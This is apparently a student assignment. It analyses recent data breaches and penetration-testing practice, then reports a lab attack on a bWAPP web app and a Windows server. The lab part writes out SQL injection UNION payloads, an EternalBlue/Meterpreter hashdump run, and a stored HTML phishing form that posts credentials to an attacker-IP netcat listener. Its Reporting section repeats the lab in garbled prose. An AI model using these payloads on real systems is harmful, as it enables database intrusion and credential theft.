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1. Summary 

The assignment aims to provide a detailed description and critical analysis of recent 

cyber-attacks. The discussion will delve deeper into how these attacks could have 

been prevented, along with recommendations for implementing countermeasures to 

enhance network security and prevent future attacks. We began by critically examining 

and analysing three different attacks that occurred in the last few years, and 

subsequently expanded the discussion to cover more in-depth descriptions of various 

attack types such, infrastructure, and application-based attacks on the network.  The 

analysis revealed that these attacks were mainly targeting vulnerabilities in web 

applications, such as SQL injection and cross-site scripting. Furthermore, the 

discussion highlighted the importance of implementing strong security measures such 

as regular system updates and patches, robust firewall configurations, and stringent 

access control policies to prevent unauthorized access and protect sensitive data from 

cyber-attacks. To mitigate the risk of cyberattacks, it is crucial for organisations to 

prioritise the implementation of robust security measures. These measures include 

regular security audits, employee training on cybersecurity best practices, and the 

implementation of secure coding practices. Additionally, organisations should consider 

implementing intrusion detection and prevention systems, encryption protocols, and 

secure coding practices to ensure the confidentiality, integrity, and availability of their 

network and data. 

 

 

 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



   
 

   
 

Introduction 

The purpose of the assignment is describing and critically analyse some of the latest 

cyber-attacks. This assignment we discussed in more dept how these attacks could of 

be prevented. Moreover, recommendations on possible countermeasures to better 

secure these networks to prevent future attack will be given.  

Fist, we critically discussed and analyse 3 different attacks that accrued recently the 

last few years. Furthermore, we will go on described more attacks in more dept. 

Penetration, infrastructure and application attacked to mimic few attacks on the 

network.  

 

 
(IZOOlogi, 2023) 

By iZOOlogic 

Darkbeam has long been recognized as a leading figure in the realm of vulnerability 

and threat management. Recently, an employee at Darkbeam brought forward the 

idea of consolidating publicly available data into a database spanning from 2018 to 

2019. However, concerns have arisen regarding potential oversight in securing vital 

information while utilising Elasticsearch and Kibana (steven, 2023). It is suspected that 

proper password protocols may not have been followed after routine maintenance. 

This incident puts Darkbeam's reputation at significant risk, as they have become the 

latest victim of a massive data breach involving over 3 billion records. 

This breach will undoubtedly tarnish Darkbeam's standing, given that it is the most 

recent company to fall victim to a theft involving over 3 billion records during a data 

https://izoologic.com/author/izoologiccontentwriter/


   
 

   
 

breach. The discovery of this breach by Bob Diachenko, CEO of Security Discovery, 

illustrates the possibility of numerous other compromised entities unaware of their 

predicament. (Bob Dm 2023) Considering Darkbeam's status as a trusted 

cybersecurity firm for many companies, these implications are particularly distressing. 

To effectively address this incident and minimise further fallout, immediate 

investigation into the incident of this breach must be conducted by Darkbeam. 

Determining any compromised data or systems should have been prioritised alongside 

implementing measures to secure and protect affected information thoroughly. 

Moreover, maintaining open communication with clients and stakeholders concerning 

the situation is crucial, this includes outlining steps being taken to rectify matters along 

with any possible impact on their data or systems 

Remarque  

The cybersecurity landscape has been amplified by high-profile data breaches such 

as the RockYou breach, which exposed 8.4 billion password entries from previous 

breaches. However, it's important to note that while these incidents highlight 

vulnerabilities in cybersecurity measures, they are not necessarily indicative of a 

widespread threat. It's crucial to maintain perspective and avoid overestimating the 

prevalence of such breaches when discussing the need for constant vigilance in 

protecting sensitive data (Ibrahim, S, A. et al., 2020). 

Preventing high-profile data breaches such as Dark-beam's requires a multi-faceted 

approach that includes implementing effective cybersecurity measures, such as strong 

encryption and two-factor authentication, regularly updating and patching software and 

systems, conducting regular security audits and vulnerability assessments, providing 

thorough training and education for employees on cybersecurity best practices, and 

implement (Preventative Security is Still Crucial to Avoiding Data Breaches, 2015)  

Dark-beam date breach as clear shown a lack of training and education on their 

employees . 

 One can argue that it's a human error, however, what stops them from encrypting the 

data is another question which also highlights the lack of education. Training and 

educating employees on cybersecurity is crucial for protecting against a wide range of 

threats. In addition to providing knowledge about common attack methods, it's 

important to emphasise. This depth of understanding equips employees with the skills 

needed to identify potential cyberattacks effectively.  



   
 

   
 

 

T-Mobile data breach  

in another unfortunate incident, T-Mobile had to face its second cyber siege in May 

2023, revealing the Personal Identification Numbers, names, and mobile numbers of 

more than 800 clientele. (Widyaningsih, et al 2023). This incident adds up to a total of 

nine data breaches endured by T-Mobile since 2018, and shockingly, it's the second 

one in this year alone. Earlier, in January, hacker breached T-Mobile's internal network, 

gaining access to personal data names, email IDs, and dates of birth of around 37 

million individuals. Swiftly acknowledging the crisis, T-Mobile managed to identify and 

neutralise the threat source within the same day according to T-Mobile (Natakusumah, 

K. et al., 2023). 

Even those proactive efforts can't prevent T-Mobile from potentially facing substantial 

financial loss due to this invasion. This is over the $350 million with which they 

concurred to settle with their customers in 2021 due to a distinct security breach. 

Repeated incidents of data breaches have cost T-Mobile heavily, both in monetary and 

reputational terms, negatively impacting their clientele's faith in their security 

measures. (Ray, K, R., 2022) 

Remarques  
The attacker is said to have had access to this API for approximately six weeks. As 

stated by a company called 8-K SEC. The of discovering APIs should be continuous 

and immediate, covering internal, external, third-party, and partner APIs. It is also 

essential to recognize and protect different types of APIs including Graph QL, SOAP, 



   
 

   
 

HTTP RESTful XML-RPC JSON-RPC among others (OWASP API Security Top 10, 

2023) 

Ensuring the capability to search within API discovery and identify unauthenticated 

endpoints that provide sensitive data in the response is crucial. The issue of API Abuse 

has garnered attention from security experts for valid reasons. In recent years, 

substantial data breaches have occurred as a result of different forms of misuse or 

exploitation of APIs (Wei, C. et al., 2021). 

 

Addressing API misuse requires establishing benchmarks for the access patterns of 

specific data types, individual APIs, and users over extended periods to detect sudden 

increases in access patterns and identify any unauthorised extraction of sensitive 

information. According to Gartner, the occurrences of API misuse attacks are projected 

to double by 2024. It seems that the industry is on track with this forecast. (Gartner 

Report on API Security, 2022) 

Most of the time, these APIs operated as intended, and their traffic appeared normal 

to security solutions within organisations until the data breach happen. Which indicate 

that most signature-based solutions are insufficient for protecting APIs; instead, API 

security necessitates contextual understanding. Which means that 

 

Given the volume of sensitive data transmitted via APIs," it is crucial for organizations 

to address this issue promptly.” Organizations need to pinpoint which API endpoints 

handle sensitive data without adequate authentication.  together with zero-trust 

policies in place to enforce this practice. This allows security teams and development 

teams "to prioritise reinforcement measures" for those particular APIs to safeguard 

organisational assets against threats or misuse. (API Security, 2022) Security teams 

require a comprehensive view of sensitive data based on distinct datasets like PCI, 

PII, HIPAA, SSN, and common categories such as emails addresses phone numbers, 

address details along with health records per version. 

 

Having this capability "is essential "for monitoring risk assessments new software 

versions, new Apis resulting into potential breaches arising due these vulnerabilities 

(“Salt Labs 2023”) Additionally, assigning a risk score is indispensable. Understanding, 

which Api needs additional protection can be done by analysing runtime specifics. T-

Mobil should of use Zero Trust architectures employ multiple layers of security 

mechanisms such as network Identity Access Management, user, application 

workload severity to protect enterprise resources. As this is not first-time breaches like 

this accursed to them. For the reasons, total suspicion, assuming adversaries may 



   
 

   
 

already have presence or can gain entry should be a thinking option. (Gartner Unveils, 

2023-2024, 

(Sujatha, 2023) 

UK Electoral Commission 

In an unexpected disclosure, the Electoral Commission notified its citizens about a 

complex cyberattack initiated by malevolent hackers. The attacker was successful in 

infiltrating the UK's electoral registers, compromising the personal data of nearly 40 

million people. (Chen, S. et al., 2023). The Commission first became alert to the 

unprecedented situation in October 2022 after noticing unusual activity within their 

digital infrastructure, tracing back to the beginning of 2021.  

 

The infiltrators managed to penetrate the Electoral Commission's servers, gaining 

access to stored emails, supervision systems, and archival versions of the electoral 

lists for people registered from 2014 through 2022, overseas voters included. (Liu, F. 

2023) The hackers undisclosed identity and professional execution suggested this 

cyber breach was not a common cybercrime. More unsettling discoveries exposed that 

the Commission was ill-prepared to handle such a threat as it had failed a Cyber 

Essentials audit during the infiltration period. (Karki, V. et al., 2023)  

However, “there's no proof that the audit failure was used by the hackers” argued the 

UK commissioner, yet it indicated inadequate security measures in place. The Expert 

security researcher Kevin Beaumont dug further to reveal that the Commission ran an 

outdated version of Microsoft Exchange Server, vulnerable to ProxyNotShell attacks, 



   
 

   
 

when the breach occurred. The incident underscores the requirement of solid security 

protocols in any organisation and continual awareness regarding the evolution of cyber 

threats.  (Burrell, N, D. et al., 2020)              

Remarques 

This incident highlights the need for robust investigation resources and initiatives to 

identify the origin of cyber-attacks and those responsible for them. However, to 

effectively combat cybercrime, it is crucial to collaborate with security agencies and 

government offices dedicated to cybersecurity, such as the National Cyber Security 

Centre. The government must continue to evolve cybersecurity measures and work 

towards international cooperation to prevent future incidents like this.  It is essential 

that law enforcement agencies to enhance their capabilities in tackling cybercrime, 

given the continuous advancements in technology and communication platforms 

(Seigfried‐Spillar, et al 2015).  

strengthened the network login requirements, improved the monitoring and alert 

system for active threats and reviewed and updated firewall policies.   The Commission 

most worked with external security experts and the National Cyber Security Centre to 

investigate and secure its systems. In response to the increasing vulnerability of critical 

national infrastructures to cyber-attacks, various countries have taken measures to 

enhance their cybersecurity capabilities (Maglaras, L. et al., 2020). The UK 

experienced a significant cyber threat this year, with the potential impact of an attack 

on vital services or critical national infrastructure considered as serious as state-

sponsored espionage. 

 In 2020, there was a shift in criminal tactics observed by the NCSC, where data theft 

before encrypting victim networks (known as double extortion) and ransom demands 

became common. Collaboration with global partners continued to identify and disrupt 

common threats, particularly from Russia and China. It also became apparent that 

numerous organized crime groups carrying out ransomware attacks against Western 

targets were based in Russia, emphasizing the necessity for strong international 

collaboration and proactive measures to address cyber threats originating from these 

regions. 

Défense in dept  
Cybersecurity has become a critical concern in our increasingly connected world, as 

demonstrated by the various examples of cyber-attacks and the subsequent efforts to 



   
 

   
 

develop intrusion detection systems. (Chen, S. et al., 2023) The case of Stuxnet, for 

example, highlights the sophisticated nature of modern cyber threats and the potential 

impact on critical infrastructure. The covert nature of Stuxnet and the implications of 

its deployment by nation-states raise questions about the future landscape of cyber 

warfare and the need for more advanced intrusion detection systems. (Zhu, C. et al., 

2022). As evident from previous studies, the use of machine learning-based 

techniques has shown promise in improving the detection of cyber threats.  

While advancements have been made in the development of intrusion detection 

models, there is a need to ensure that these models are capable of identifying not only 

known attacks but also unknown and evolving threats. (Paul, V. et al 2022). This 

highlights the importance of anomaly-based intrusion detection systems, which can 

adapt to emerging threats and provide a more comprehensive defence mechanism. 

(Satyanegara, H, H. and Ramli, K., 2022) 

In the pursuit of enhancing cybersecurity, a multi-layered approach, such as the 

"Défense in dept." strategy, becomes crucial.  

This approach involves implementing various Défense mechanisms at different layers 

of a system, thereby creating a comprehensive defence strategy. (Satyanegara, H, H. 

and Ramli, K., 2022) By integrating anomaly-based intrusion detection systems with 

other security measures, organizations can establish a more robust Défense posture 

that addresses the dynamic nature of cyber threats. This strategy not only increases 

the chances of detecting and mitigating attacks, but it also allows for a more proactive 

response to emerging threats. (Pandey, A., 2019) 

Scholars have suggested different intelligent methodologies employing machine 

learning methods to recognise cyberattacks on varied datasets like UNSW-NB 15 and 

CSIC 2010. (Kamarudin et al. 2020) have also presented a system for anomaly-based 

intrusion detection aimed at detecting unfamiliar attacks on web servers utilising an 

ensemble classification approach. These strategies have demonstrated encouraging 

outcomes in enhancing the precision and effectiveness of intrusion detection systems, 

enabling prompt recognition and alleviation of cyber threats. 



   
 

   
 

PENETRATION TESTING 

Penetration testing, also known as ethical hacking, is a crucial aspect of information 

security strategy (Zennaro, M, F. and Erdodi, A, L., 2020). It involves authorised 

simulated cyber-attacks on computer systems to identify weaknesses and assess 

overall security. Penetration testing plays a significant role in ensuring the 

effectiveness of security measures and helps organisations proactively enhance their 

defences against potential threats. Furthermore, penetration testing helps 

organisations comply with industry standards and regulations such as ISO 2700. 

(What Is Penetration Testing in Cyber Security and Why Do You Need It 2023) These 

tests often involve the following steps: 

1.Understanding the scope and objectives of the penetration test. 

2.Gathering information about the target system or network.  

3. Identifying potential vulnerabilities and weaknesses in the target system or network. 

 4. Exploiting the identified vulnerabilities to gain unauthorised access or perform 
malicious activities.  

5. Documenting and reporting the findings, including any recommendations for 
remediation. 

 6. Assessing the effectiveness of existing security controls and measures in place. 

 7. Updating security policies, standards, and procedures based on the findings of the 
penetration 

 Penetration testing is an essential component of a comprehensive information 
security strategy. (What is Penetration Testing? | A Comprehensive Overview, 2023) 

However, this depends on methodology used  

 ATTACKS 

It is crucial for organisations to assess their security measures in a controlled manner 

to gain a deeper understanding of potential vulnerabilities. However, some individuals 

within the cybersecurity community argue that ethical hacking, including penetration 

testing, may not always be entirely effective for several reasons. (Penetration Testing. 

2023) 



   
 

   
 

One opposing argument is that simulated cyber-attacks may not accurately reflect the 

complexity of real-world threats. Organisations may misinterpret their level of security 

based on the outcomes of penetration testing. (Penetration Testing Best Practices for 

Conducting Effective Penetration ..., 2023) Additionally, some experts believe that the 

resources and costs associated with penetration testing may not always justify the 

results, especially when other security measures could be equally effective.  

Despite these arguments, penetration testing remains a critical practice in 

strengthening organisational security. Understanding the scope and objectives of the 

penetration test is vital in laying the foundation for its success. Gathering detailed 

information about the target system or network is crucial to ensure that the assessment 

is comprehensive and accurate. (Tello, D, M., 2022) 

Identifying potential vulnerabilities and weaknesses in the target system or network is 

a meticulous process that requires a deep understanding of various attack vectors. 

Penetration testing involves exploiting these identified vulnerabilities to gain 

unauthorised access or perform malicious activities. It is important to note that this 

process requires meticulous documentation and reporting of findings, coupled with 

recommendations for remediation, to ensure a thorough understanding of the 

organisation's security posture. (Tello, D, M., 2022) 

Furthermore, the assessment of the effectiveness of existing security controls and 

measures in place is crucial. Updating security policies, standards, and procedures 

based on the findings of the penetration test is essential to proactively enhance an 

organisation's defences against potential threats. (Abdeltawab, S, S. et al., 2022) t is 

important to acknowledge that despite the potential limitations, penetration testing 

provides invaluable insights into an organisation's cybersecurity posture. Therefore, 

organizations should continue to integrate penetration testing as a pivotal element 

within their comprehensive information security strategy.  

(Gao, S. et al., 2021) Another concern raised by critics is that penetration testing may 

disrupt normal business operations or cause unintended damage to the target system. 

Moreover, some ethical hackers argue that penetration testing, while valuable, should 

not be the sole focus of an organisation's security strategy. 



   
 

   
 

They emphasise the importance of a holistic approach that integrates penetration 

testing with other security measures such as intrusion detection systems, security 

information and event management solutions, and regular security audits. (Gao, S. et 

al., 2021) In addition to technical vulnerabilities, it's vital for organisations to consider 

non-technical methods of attack, including social engineering and physical breaches. 

Penetration testing should not be limited to assessing technical infrastructure but 

should also encompass testing the awareness and response mechanisms of 

employees when faced with social engineering tactics. Furthermore, the success of a 

penetration test relies heavily on the skills and expertise of the ethical hacker 

conducting the test. (Khalid, N, M. et al., 2020) 

They must possess in-depth knowledge of various hacking techniques and stay 

updated on the latest tactics employed by malicious actors. Moreover, ethical hackers 

must also adhere to strict guidelines and ethical standards to ensure the protection of 

third-party systems and avoid any unauthorised access or infiltration. (Zhao, T. et al., 

2021) To effectively address the concerns related to the effectiveness and scope of 

penetration testing, cybersecurity professionals have been exploring alternative 

methods for identifying and mitigating cybersecurity risks. 

One such approach involves the use of machine learning algorithms to detect and 

respond to cyber-attacks. This method, which has been applied to datasets such as 

UNSW-NB 15, has shown promising results in identifying and understanding the 

complexities of real-world threats. These machine learning algorithms can analyse 

large amounts of data, identify patterns, and detect anomalies that may indicate a 

potential cyber-attack. (Barik, K. et al., 2021) In a similar vein, Choras and Kozik 

utilised machine learning techniques to detect cyber-attacks on web applications, 

employing the HTTP dataset CSIC 2010 to evaluate their method. (Gao, S. et al., 

2021) 

Impact  
In a single year, nearly 1 billion emails were breached, affecting roughly 20% of 

internet users. The average financial impact of data breaches on businesses in 2022 

was $4.35 million (Cybercrime: The Statistics of 2022 | Spark Cognition, 2022). There 

were an estimated 236.1 million ransomware attacks globally in the first half of 2022. 



   
 

   
 

Around half of internet users in the United States encountered unauthorized access 

to their accounts in 2021. Approximately 39% of businesses in the UK reported being 

targeted by cyber-attacks during 2022. (Trends & Facts That Matter For 2024, 2023) 

 

 An alarming finding indicates that approximately one out of every ten US 

organisations does not have insurance coverage for cyber-attacks. A staggering 

number amounting to about 53.35 million individuals fell victim to cybercrimes within 

the initial six months of 2019 UK companies faced an average cost £4200 due to 

cyber-crime within this same period (Spark Cognition, 2022) When comparing 

statistics from2019 and 2018, there is a remarkable increase of 358% in cyber-attack 

occurrences over two years' time. Phishing remains among the most prevalent cyber 

thereat facing both individuals and businesses. 

In this simulation we will perform varies attacks base the following network map. 

First, we will set up the lab with includes the windows server 12r essential with active 
directory installed. There will also windows 8 and Ubuntu machine and web 

application. In order to preform various attacks as intended.  

Methodology 
Hackers and researchers use a systematic approach known as hacking methodology 

to identify vulnerabilities, exploit weaknesses, and gain unauthorised access to 

computer systems or networks. By following this methodology, they can effectively 

plan and execute their attacks to cover all necessary steps for reaching their 

objectives. This approach typically includes: 

Setting up the network to preparer the attacks. First, we used windows12 essentials 

with active directory setup. User's groups and schema we then we used Ubuntu 

machine and a web application known BWAPP and finally have the kali Linux 

running for attacking activities. The following figure is the logical view of the network.  

 

 



   
 

   
 

 

Reconnaissance,  

Scanning and enumeration, 
 Gaining access, 

 Maintaining access,  

Covering tracks 

 

The scope  
The scope of hacking methodology is to provide a structured and comprehensive 

framework for ethical hackers to conduct their assessments and penetration testing 

activities. This includes defining the goals and objectives of the assessment, 

determining the target systems and applications to be tested, and establishing the 

boundaries and limitations of the testing. 

First, we will start scanning the network to fins open ports and services before we will 

first verify the connect which allow us to make sure the network connection is 

working properly. To that the Ipconfig command is used. As sow below  

 
 

 
Figure1 
As shown above the IP address is 192.168.19.130 the Kali machine we 
will used for the attacking. First, we will find open port and service which 
lead the scanning stage of the test.  
This security patch addresses weaknesses in Microsoft Windows. The 
most critical of these could enable remote code execution if a hacker 
sends specifically designed messages to a Microsoft Server Message 



   
 

   
 

Block 1.0 server. For further information on this vulnerability, please refer 
to the Microsoft Security Bulletin MS17-010. (Microsoft, 2016) this 
vulnerably we will used this Enumeration using the PORT number 445. 
As shown below on figure. 

 
Figure2 
As show see above, we use SMB is probed to confirm the existing and 
potential exploitable vulnerability. 

 
Figure3 
 



   
 

   
 

 

 
Figure4 
When the AUXILIARY module is used. However, the module is completed therefore 
not much did not happen. We also use the PIPE module. Then next we will use the 
exploit in order the attacks the machine.   

 
 
 
 
 



   
 

   
 

 
Figure5 
As shown above the exploit was run but with no success for so reason 
even though a session was created  

 
Figure6 
 
As can see on above figure we use Eternal Blue MS17-010 Exploit, together with the 
Meterpreter/reserve/tcp which was successfully exploited. 

 



   
 

   
 

Figure7 
We used sysinfo as shown above displaying the server's name as assignment the 

server version as well as the 7 as session open for the meterpreter.  
 

Figure8 
We also used the getuid command to the user ID as shown above. Next, 
the PS command is to display the process running the systems.  We 
also use hashdump command to dump the user password hashs. As 
illustrated in the figure bellow 



   
 

   
 

 
Figure9 
From this point we can use the password hashes to perform many other attacks 
such as pass the hash attacks. Remote logging on other networks and systems of 
crack the passwords. however, due the limitations of our labs.  we enable to perform 
these further attacks.  
 
 

Web application  

 
Figure10 
 
First, we will utilise the ' order by 6 -- - command to verify the existence of any users 
and tables in bWAPP with the code provided below. Using the ' order by 6 -- - 



   
 

   
 

command allows hackers to exploit SQL injection vulnerabilities by manipulating the 
query to retrieve information about users and tables in the database. 
' and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from 
information_schema.tables where table_schema != 'mysql' and table_schema != 
'information_schema' -- - as  

 
Figure11 
Using the following code, we were able to confirm that the user table exists. Now we 
will retrieve their passwords 

When retrieving passwords, hackers can use various techniques such as brute force 
attacks, dictionary attacks, or social engineering, crack weak passwords and gain 
unauthorised access to systems. 

' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from 
information_schema.columns where table_schema != 'mysql' and table_schema != 
'information_schema' and table_schema='bWAPP' and table_name='users' --  

As shown below, we are able to have users and emails as depicted in the figure above. 
Next, we will attempt to obtain the user IDs and password policies, such as the 
required password length. By gathering user IDs and password policies, a hacker can 
analyse the strength of passwords used in the system and potentially conduct 
password attacks to gain unauthorised access to the system and its sensitive 
information. 

 

 



   
 

   
 

Figure12 
At this point, we can search for additional schema in the database and delve deeper 
to find more information. This process allows the hacker to gather valuable intelligence 
and potentially escalate their attack by accessing other sensitive data within the 
database. 

 
Figure13 

GOING FUTHER  
Next in this test we are going to try HTML injection Stored Blog. As using the following in the 
figure. 

 
Figure14 

 As we see the Union code to test the data base to see if it is accepting stored html 

injection is a common technique used by hackers to exploit vulnerabilities in web 

applications and gain unauthorised access to sensitive information or manipulate the 

data stored in database. 

 



   
 

   
 

Figure15 
 
As we can see using this code teck’,(select password from mysql.user where user=’root’ 

limit 0,1)) # 
 

 
Figure16 
 
Knowing this we execute code and stored on the database. For this, we will use the 

following. Which the expectation as using net cat listening on port 1234 together to 

try to capture the user logging credentials. 

<div class="test_code">test</div> <div style="position: absolute; left: 0px; top: 0px; 

width: 800px; height: 600px; z-index: 1000; background-color:white;"> Please Login 

Here To Proceed: <form name="login" 

action="http://[ATTACKER_IP]:1234/hacked.html" method="post"> <table> <tr> 

<td>Username:</td> <td><input type="text" name="username"/></td> </tr> <tr> 

<td>Password:</td> <td><input type="password" name="passwd"/></td> </tr> 

</table> <input type="submit" value="Login"/> </form></div> 

 

 
Figure1 
 
As shown above we were trying to capture credentials. However, this was not 

possible even though it has even given us the parameters 



   
 

   
 

By using this SQL syntax along with input values, we can retrieve the database 

version. Additionally, for every subsequent SQL query, it is necessary to add an 

entry. By doing so, the hacker can gain unauthorized access to sensitive information 

stored in the database and potentially manipulate or exploit it for malicious purposes. 

It is crucial for businesses and individuals to understand the vulnerabilities 

associated with human error in cybersecurity. 

 

bWAPP/sqli_11.php?title=k' UNION SELECT 1,sqlite_version(),3,4,5,6--  

&action=search 

 

Using SQLmap   

 

Fist we use Nmap the enumerate the system 

 
Figure18 

 



   
 

   
 

 
 

 
 

Reporting 

The scope of hacking methodology is to provide a structured and comprehensive 

framework for ethical hackers to conduct their assessments and penetration testing 

activities. This includes defining the goals and objectives of the assessment, 

determining the target systems and applications to be tested, as well as establishing 

boundaries and limitations for testing. 

We have start which scanning the network to find open ports and services before 

verifying connectivity using the Ipconfig command. The IP address shown above is 

192.168.19.130 - The Kali machine we will use for attacking purposes. Our first step 

will be finding open ports and services, which marks the beginning phase of our test. 

This security patch addresses weaknesses in Microsoft Windows system that could 

enable remote code execution if exploited through specifically designed messages 

sent to a Microsoft Server Message Block 1.0 server. We have identified this 

vulnerability using Enumeration via PORT number 445 as depicted below in figure. 

As shown above, we probed SMB to confirm existing potential exploitable 

vulnerabilities. When utilising an AUXILIARY module during completion there was 

minimal impact on outcomes experienced; additionally, deployment of PIPE module 

had no significant effect either. Our next approach involves employing an exploit in 

order to attack machinery further. 



   
 

   
 

As illustrated above despite running the exploit successfully, a session was created 

with no meaningful outcome achieved as per aforementioned display, the sysinfo 

function divulges server name along with version information, and indicates 

presence of open sessions with meterpreter tagging '7'  

  

Moreover, getuid command reveals user ID while PS displays running processes; 

hashdump commands help identify dumped user password hashes depicted below 

from this stage onward, password hashes can serve diverse attacks such as pass-

the-hash attacks or remote login into other networks/systems or cracking passwords. 

However, due constraints posed by our labs, further exploiting was not feasible 

We will first use the 'order by 6 -- - command to check for the presence of any users 

and tables in bWAPP with the provided code. The 'order by 6 -- - command is 

commonly exploited by hackers to manipulate queries and retrieve information about 

users and tables in the database. 

With the following code, we have confirmed that the user table exists. We will now 

proceed to obtain their passwords. When obtaining passwords, hackers might 

employ various techniques such as brute force attacks, dictionary attacks, or social 

engineering to crack weak passwords and gain unauthorised access to systems. 

By using this code snippet, it can be seen that we are able to find usernames and 

emails as shown above. Our next step will involve trying to acquire user IDs and 

password policies including required password length. Analysing user IDs along with 

password policies allows a potential hacker not only assesses password strength but 

also potentially conduct illicit activities exploiting system weaknesses. 

At this stage, our goal would be searching for additional schema within databases in 

order gather more intelligence that could potentially lead towards accessing other 

sensitive data inside them. Lastly, in our upcoming test experiment we plan on 

performing an HTML injection Stored Blog using what's depicted here. 

  



   
 

   
 

Utilising Union code for testing if stored html injections are accepted by a database is 

often employed technique among hackers which enables exploitation of 

vulnerabilities present within web applications leading them into gaining 

unauthorized access over sensitive information or manipulating stored data. 

Having this knowledge guides us through executing codes which then get saved 

onto databases enabling us to achieve specific outcomes by doing so; listening net 

cat port together try capturing login credentials from users thus was unable capture 

all parameters even ones expected 

By utilising SQL syntax combined with input values like displayed before alongside 

retrieval of version details stands crucial Thus every subsequent entry made makes 

way possible retrieving confidential hence making businesses understand how 

important mitigating human error effects becomes necessary factor surrounding 

cybersecurity vulnerability issues 

bWAPP/sqli_11.php?title=k' UNION SELECT 1,sqlite_version(),3 ,4 ,5 ,6--  

&action=search 
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